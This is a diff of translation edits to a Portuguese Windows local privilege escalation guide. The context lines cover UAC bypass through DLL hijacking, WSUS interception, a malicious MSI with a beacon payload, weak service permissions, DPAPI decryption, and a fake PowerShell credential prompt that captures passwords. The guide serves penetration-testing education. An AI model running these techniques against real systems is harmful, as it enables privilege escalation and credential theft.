-Se você olhar para **UACME**, você notará que **a maioria dos bypasses de UAC abusam de uma vulnerabilidade de Dll Hijacking** (principalmente escrevendo a dll maliciosa em _C:\Windows\System32_). [Leia isso para aprender como encontrar uma vulnerabilidade de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
+Se você der uma olhada no **UACME**, você notará que **a maioria dos bypasses de UAC abusa de uma vulnerabilidade de Dll Hijacking** (principalmente escrevendo a dll maliciosa em _C:\Windows\System32_). [Leia isso para aprender como encontrar uma vulnerabilidade de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
 1. Encontre um binário que irá **autoelevar** (verifique se, quando executado, ele roda em um nível de integridade alto).
 2. Com o procmon, encontre eventos "**NAME NOT FOUND**" que podem ser vulneráveis a **DLL Hijacking**.
 3. Você provavelmente precisará **escrever** a DLL dentro de alguns **caminhos protegidos** (como C:\Windows\System32) onde você não tem permissões de escrita. Você pode contornar isso usando:
-   1. **wusa.exe**: Windows 7, 8 e 8.1. Permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada a partir de um nível de integridade alto).
+   1. **wusa.exe**: Windows 7, 8 e 8.1. Ele permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada a partir de um nível de integridade alto).
    2. **IFileOperation**: Windows 10.
 4. Prepare um **script** para copiar sua DLL dentro do caminho protegido e executar o binário vulnerável e autoelevado.
 

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -79,7 +79,7 @@ Este [site](https://msrc.microsoft.com/update-guide/vulnerability) é útil para
 
 ### Ambiente
 
-Alguma credencial/informação valiosa salva nas variáveis de ambiente?
+Alguma credencial/informação suculenta salva nas variáveis de ambiente?
 ```bash
 set
 dir env:
@@ -114,7 +114,7 @@ Stop-Transcript
 
 Detalhes das execuções do pipeline PowerShell são registrados, abrangendo comandos executados, invocações de comandos e partes de scripts. No entanto, detalhes completos da execução e resultados de saída podem não ser capturados.
 
-Para habilitar isso, siga as instruções na seção "Arquivos de Transcrição" da documentação, optando por **"Registro de Módulo"** em vez de **"Transcrição do PowerShell"**.
+Para habilitar isso, siga as instruções na seção "Arquivos de Transcrição" da documentação, optando por **"Registro de Módulo"** em vez de **"Transcrição do Powershell"**.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@@ -165,7 +165,7 @@ WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
 ```
 E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` for igual a `1`.
 
-Então, **é explorável.** Se o último registro for igual a 0, então, a entrada do WSUS será ignorada.
+Então, **é explorável.** Se o último registro for igual a 0, a entrada do WSUS será ignorada.
 
 Para explorar essas vulnerabilidades, você pode usar ferramentas como: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Esses são scripts de exploits armados MiTM para injetar atualizações 'falsas' no tráfego WSUS não SSL.
 
@@ -178,7 +178,7 @@ Leia a pesquisa aqui:
 [**Leia o relatório completo aqui**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
 Basicamente, esta é a falha que esse bug explora:
 
-> Se temos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.
+> Se tivermos o poder de modificar nosso proxy de usuário local, e as Atualizações do Windows usam o proxy configurado nas configurações do Internet Explorer, portanto, temos o poder de executar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nosso próprio tráfego e executar código como um usuário elevado em nosso ativo.
 >
 > Além disso, uma vez que o serviço WSUS usa as configurações do usuário atual, ele também usará seu armazenamento de certificados. Se gerarmos um certificado autoassinado para o nome do host WSUS e adicionarmos esse certificado ao armazenamento de certificados do usuário atual, seremos capazes de interceptar tanto o tráfego WSUS HTTP quanto HTTPS. O WSUS não usa mecanismos semelhantes ao HSTS para implementar uma validação de confiança na primeira utilização no certificado. Se o certificado apresentado for confiável pelo usuário e tiver o nome do host correto, será aceito pelo serviço.
 
@@ -186,11 +186,11 @@ Você pode explorar essa vulnerabilidade usando a ferramenta [**WSUSpicious**](h
 
 ## KrbRelayUp
 
-Uma vulnerabilidade de **elevação de privilégio local** existe em ambientes **de domínio** do Windows sob condições específicas. Essas condições incluem ambientes onde **a assinatura LDAP não é aplicada,** os usuários possuem direitos próprios que lhes permitem configurar **Delegação Constrained Baseada em Recurso (RBCD),** e a capacidade de os usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando **configurações padrão**.
+Uma vulnerabilidade de **elevação de privilégio local** existe em ambientes **de domínio** do Windows sob condições específicas. Essas condições incluem ambientes onde **a assinatura LDAP não é aplicada,** os usuários possuem direitos próprios que lhes permitem configurar **Delegação Constrangida Baseada em Recursos (RBCD),** e a capacidade de os usuários criarem computadores dentro do domínio. É importante notar que esses **requisitos** são atendidos usando **configurações padrão**.
 
 Encontre o **exploit em** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
 
-Para mais informações sobre o fluxo do ataque, verifique [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
+Para mais informações sobre o fluxo do ataque, consulte [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
 
 ## AlwaysInstallElevated
 
@@ -235,13 +235,13 @@ create-msi-with-wix.md
 - Dê um nome ao projeto, como **AlwaysPrivesc**, use **`C:\privesc`** para o local, selecione **colocar solução e projeto no mesmo diretório**, e clique em **Create**.
 - Continue clicando em **Next** até chegar ao passo 3 de 4 (escolher arquivos para incluir). Clique em **Add** e selecione o payload Beacon que você acabou de gerar. Em seguida, clique em **Finish**.
 - Destaque o projeto **AlwaysPrivesc** no **Solution Explorer** e nas **Properties**, mude **TargetPlatform** de **x86** para **x64**.
-- Existem outras propriedades que você pode alterar, como o **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo.
+- Existem outras propriedades que você pode alterar, como **Author** e **Manufacturer**, que podem fazer o aplicativo instalado parecer mais legítimo.
 - Clique com o botão direito no projeto e selecione **View > Custom Actions**.
 - Clique com o botão direito em **Install** e selecione **Add Custom Action**.
 - Clique duas vezes em **Application Folder**, selecione seu arquivo **beacon.exe** e clique em **OK**. Isso garantirá que o payload beacon seja executado assim que o instalador for executado.
 - Nas **Custom Action Properties**, mude **Run64Bit** para **True**.
 - Finalmente, **construa-o**.
-- Se o aviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` for exibido, certifique-se de definir a plataforma como x64.
+- Se o aviso `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` for exibido, certifique-se de que você definiu a plataforma como x64.
 
 ### Instalação do MSI
 
@@ -255,13 +255,13 @@ Para explorar essa vulnerabilidade, você pode usar: _exploit/windows/local/alwa
 
 ### Configurações de Auditoria
 
-Essas configurações decidem o que está sendo **registrado**, então você deve prestar atenção.
+Essas configurações decidem o que está sendo **registrado**, então você deve prestar atenção
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
 ### WEF
 
-O Windows Event Forwarding é interessante para saber para onde os logs são enviados.
+Windows Event Forwarding, é interessante saber para onde os logs são enviados.
 ```bash
 reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
 ```
@@ -282,7 +282,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
 ```
 ### LSA Protection
 
-A partir do **Windows 8.1**, a Microsoft introduziu proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando ainda mais a segurança do sistema.\
+A partir do **Windows 8.1**, a Microsoft introduziu uma proteção aprimorada para a Autoridade de Segurança Local (LSA) para **bloquear** tentativas de processos não confiáveis de **ler sua memória** ou injetar código, aumentando ainda mais a segurança do sistema.\
 [**Mais informações sobre a proteção LSA aqui**](../stealing-credentials/credentials-protections.md#lsa-protection).
 ```bash
 reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@@ -330,7 +330,7 @@ Se você **pertencer a algum grupo privilegiado, pode ser capaz de escalar privi
 ### Manipulação de tokens
 
 **Saiba mais** sobre o que é um **token** nesta página: [**Tokens do Windows**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
-Verifique a página a seguir para **aprender sobre tokens interessantes** e como abusar deles:
+Confira a página a seguir para **aprender sobre tokens interessantes** e como abusar deles:
 
 {{#ref}}
 privilege-escalation-abusing-tokens.md
@@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
 ### Permissões de Arquivo e Pasta
 
 Primeiro de tudo, listar os processos **verifica se há senhas dentro da linha de comando do processo**.\
-Verifique se você pode **sobrescrever algum binário em execução** ou se você tem permissões de gravação na pasta do binário para explorar possíveis [**ataques de DLL Hijacking**](dll-hijacking/):
+Verifique se você pode **sobrescrever algum binário em execução** ou se você tem permissões de gravação na pasta do binário para explorar possíveis [**ataques de DLL Hijacking**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -381,7 +381,7 @@ icacls "%%z"
 )
 )
 ```
-**Verificando as permissões das pastas dos binários dos processos (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Verificando as permissões das pastas dos binários dos processos (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -433,7 +433,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
 
 Se você estiver recebendo este erro (por exemplo, com SSDPSRV):
 
-_Erro do sistema 1058 ocorreu._\
+_Erro de sistema 1058 ocorreu._\
 &#xNAN;_TO serviço não pode ser iniciado, seja porque está desativado ou porque não possui dispositivos habilitados associados a ele._
 
 Você pode habilitá-lo usando
@@ -441,9 +441,9 @@ Você pode habilitá-lo usando
 sc config SSDPSRV start= demand
 sc config SSDPSRV obj= ".\LocalSystem" password= ""
 ```
-**Leve em consideração que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)**
+**Leve em conta que o serviço upnphost depende do SSDPSRV para funcionar (para XP SP1)**
 
-**Outra solução alternativa** para esse problema é executar:
+**Outra solução alternativa** para este problema é executar:
 ```
 sc.exe config usosvc start= auto
 ```
@@ -465,16 +465,16 @@ net stop [service name] && net start [service name]
 Os privilégios podem ser elevados através de várias permissões:
 
 - **SERVICE_CHANGE_CONFIG**: Permite a reconfiguração do binário do serviço.
-- **WRITE_DAC**: Habilita a reconfiguração de permissões, levando à capacidade de alterar configurações de serviços.
+- **WRITE_DAC**: Habilita a reconfiguração de permissões, levando à capacidade de alterar configurações de serviço.
 - **WRITE_OWNER**: Permite a aquisição de propriedade e reconfiguração de permissões.
-- **GENERIC_WRITE**: Herda a capacidade de alterar configurações de serviços.
-- **GENERIC_ALL**: Também herda a capacidade de alterar configurações de serviços.
+- **GENERIC_WRITE**: Herda a capacidade de alterar configurações de serviço.
+- **GENERIC_ALL**: Também herda a capacidade de alterar configurações de serviço.
 
 Para a detecção e exploração dessa vulnerabilidade, o _exploit/windows/local/service_permissions_ pode ser utilizado.
 
 ### Permissões fracas dos binários de serviços
 
-**Verifique se você pode modificar o binário que é executado por um serviço** ou se você tem **permissões de escrita na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/))**.**\
+**Verifique se você pode modificar o binário que é executado por um serviço** ou se você tem **permissões de escrita na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 Você pode obter todos os binários que são executados por um serviço usando **wmic** (não no system32) e verificar suas permissões usando **icacls**:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@@ -523,7 +523,7 @@ C:\Program.exe
 C:\Program Files\Some.exe
 C:\Program Files\Some Folder\Service.exe
 ```
-Liste todos os caminhos de serviço não entre aspas, excluindo aqueles que pertencem a serviços do Windows integrados:
+Liste todos os caminhos de serviço não entre aspas, excluindo aqueles que pertencem a serviços internos do Windows:
 ```powershell
 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
 wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services
@@ -555,7 +555,7 @@ O Windows permite que os usuários especifiquem ações a serem tomadas se um se
 
 ### Aplicações Instaladas
 
-Verifique as **permissões dos binários** (talvez você possa sobrescrever um e escalar privilégios) e das **pastas** ([DLL Hijacking](dll-hijacking/)).
+Verifique as **permissões dos binários** (talvez você possa sobrescrever um e escalar privilégios) e das **pastas** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -727,7 +727,7 @@ Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/c
 
 ### DPAPI
 
-A **API de Proteção de Dados (DPAPI)** fornece um método para criptografia simétrica de dados, predominantemente utilizada dentro do sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo de usuário ou sistema para contribuir significativamente com a entropia.
+A **API de Proteção de Dados (DPAPI)** fornece um método para criptografia simétrica de dados, predominantemente utilizado dentro do sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo de usuário ou sistema para contribuir significativamente com a entropia.
 
 **A DPAPI permite a criptografia de chaves através de uma chave simétrica que é derivada dos segredos de login do usuário**. Em cenários que envolvem criptografia de sistema, utiliza os segredos de autenticação de domínio do sistema.
 
@@ -736,7 +736,7 @@ As chaves RSA de usuário criptografadas, usando a DPAPI, são armazenadas no di
 Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
 Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\
 ```
-Você pode usar o **mimikatz module** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo.
+Você pode usar o **módulo mimikatz** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo.
 
 Os **arquivos de credenciais protegidos pela senha mestra** geralmente estão localizados em:
 ```powershell
@@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
 ### SCClient / SCCM
 
 Verifique se `C:\Windows\CCM\SCClient.exe` existe.\
-Instaladores são **executados com privilégios de SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
+Instaladores são **executados com privilégios de SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
 ```bash
 $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
 if ($result) { $result }
@@ -902,7 +902,7 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
 ```
 ### Chaves SSH no registro
 
-Chaves privadas SSH podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, então você deve verificar se há algo interessante lá:
+As chaves privadas SSH podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, então você deve verificar se há algo interessante lá:
 ```bash
 reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 ```
@@ -1050,9 +1050,9 @@ C:\inetpub\logs\LogFiles\*
 #Apache
 Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
 ```
-### Pedir credenciais
+### Peça credenciais
 
-Você pode sempre **pedir ao usuário que insira suas credenciais ou até mesmo as credenciais de um usuário diferente** se você achar que ele pode conhecê-las (note que **pedir** diretamente ao cliente as **credenciais** é realmente **arriscado**):
+Você pode sempre **pedir ao usuário para inserir suas credenciais ou até mesmo as credenciais de um usuário diferente** se você achar que ele pode conhecê-las (note que **pedir** diretamente ao cliente as **credenciais** é realmente **arriscado**):
 ```bash
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
 $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1182,7 +1182,7 @@ Para aprender como os atacantes usam o COM Hijacking como um mecanismo de persis
 com-hijacking.md
 {{#endref}}
 
-### **Busca Genérica de Senhas em arquivos e registro**
+### **Busca Genérica de Senhas em Arquivos e Registro**
 
 **Pesquisar por conteúdos de arquivos**
 ```bash
@@ -1205,7 +1205,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
 ```
 ### Ferramentas que buscam por senhas
 
-[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um plugin do msf** que eu criei para **executar automaticamente todos os módulos POST do metasploit que buscam por credenciais** dentro da vítima.\
+[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um plugin msf** que eu criei para **executar automaticamente todos os módulos POST do metasploit que buscam por credenciais** dentro da vítima.\
 [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) busca automaticamente por todos os arquivos contendo senhas mencionados nesta página.\
 [**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair senhas de um sistema.
 
@@ -1229,7 +1229,7 @@ Segmentos de memória compartilhada, referidos como **pipes**, permitem comunica
 
 O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, mesmo através de diferentes redes. Isso se assemelha a uma arquitetura cliente/servidor, com papéis definidos como **servidor de pipe nomeado** e **cliente de pipe nomeado**.
 
-Quando dados são enviados através de um pipe por um **cliente**, o **servidor** que configurou o pipe tem a capacidade de **assumir a identidade** do **cliente**, assumindo que ele tenha os direitos necessários de **SeImpersonate**. Identificar um **processo privilegiado** que se comunica via um pipe que você pode imitar oferece uma oportunidade de **obter privilégios mais altos** ao adotar a identidade desse processo uma vez que ele interaja com o pipe que você estabeleceu. Para instruções sobre como executar tal ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system).
+Quando dados são enviados através de um pipe por um **cliente**, o **servidor** que configurou o pipe tem a capacidade de **assumir a identidade** do **cliente**, assumindo que ele tenha os direitos necessários de **SeImpersonate**. Identificar um **processo privilegiado** que se comunica via um pipe que você pode imitar oferece uma oportunidade para **obter privilégios mais altos** ao adotar a identidade desse processo uma vez que ele interaja com o pipe que você estabeleceu. Para instruções sobre como executar tal ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system).
 
 Além disso, a seguinte ferramenta permite **interceptar uma comunicação de pipe nomeado com uma ferramenta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
@@ -1301,13 +1301,13 @@ https://github.com/jas502n/CVE-2019-1388
 
 ## De Nível de Integridade Médio de Administrador para Alto / Bypass de UAC
 
-Leia isso para **aprender sobre Níveis de Integridade**:
+Leia isto para **aprender sobre Níveis de Integridade**:
 
 {{#ref}}
 integrity-levels.md
 {{#endref}}
 
-Então **leia isso para aprender sobre UAC e bypasses de UAC:**
+Então **leia isto para aprender sobre UAC e bypasses de UAC:**
 
 {{#ref}}
 ../authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -1345,8 +1345,8 @@ Se você quiser ler um exemplo de [**como ir de alta integridade para System usa
 
 ### Dll Hijacking
 
-Se você conseguir **sequestrar uma dll** sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é **muito mais fácil de alcançar a partir de um processo de alta integridade**, pois terá **permissões de gravação** nas pastas usadas para carregar dlls.\
-**Você pode** [**saber mais sobre Dll hijacking aqui**](dll-hijacking/)**.**
+Se você conseguir **sequestrar uma dll** sendo **carregada** por um **processo** em execução como **SYSTEM**, você poderá executar código arbitrário com essas permissões. Portanto, o Dll Hijacking também é útil para esse tipo de escalonamento de privilégios e, além disso, é **muito mais fácil de conseguir a partir de um processo de alta integridade**, pois terá **permissões de escrita** nas pastas usadas para carregar dlls.\
+**Você pode** [**saber mais sobre Dll hijacking aqui**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**
 
@@ -1370,12 +1370,12 @@ https://github.com/sailay1996/RpcSsImpersonator
 
 [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
 [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Verifique se há configurações incorretas e arquivos sensíveis (**[**verifique aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detectado.**\
-[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifique se há algumas possíveis configurações incorretas e colete informações (**[**verifique aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
+[**JAWS**](https://github.com/411Hall/JAWS) **-- Verifique algumas possíveis configurações incorretas e colete informações (**[**verifique aqui**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
 [**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifique se há configurações incorretas**\
 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrai informações de sessão salvas do PuTTY, WinSCP, SuperPuTTY, FileZilla e RDP. Use -Thorough em local.**\
 [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrai credenciais do Gerenciador de Credenciais. Detectado.**\
 [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Pulveriza senhas coletadas pelo domínio**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é uma ferramenta de spoofing e man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh é um spoofador e ferramenta man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
 [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeração básica de privesc do Windows**\
 [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Procura por vulnerabilidades conhecidas de privesc (DEPRECATED para Watson)\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Verificações locais **(Necessita de direitos de Admin)**
@@ -1402,7 +1402,7 @@ https://github.com/sailay1996/RpcSsImpersonator
 
 _multi/recon/local_exploit_suggestor_
 
-Você precisa compilar o projeto usando a versão correta do .NET ([veja isso](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver a versão instalada do .NET no host da vítima, você pode fazer:
+Você deve compilar o projeto usando a versão correta do .NET ([veja isso](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver a versão instalada do .NET no host da vítima, você pode fazer:
 ```
 C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
 ```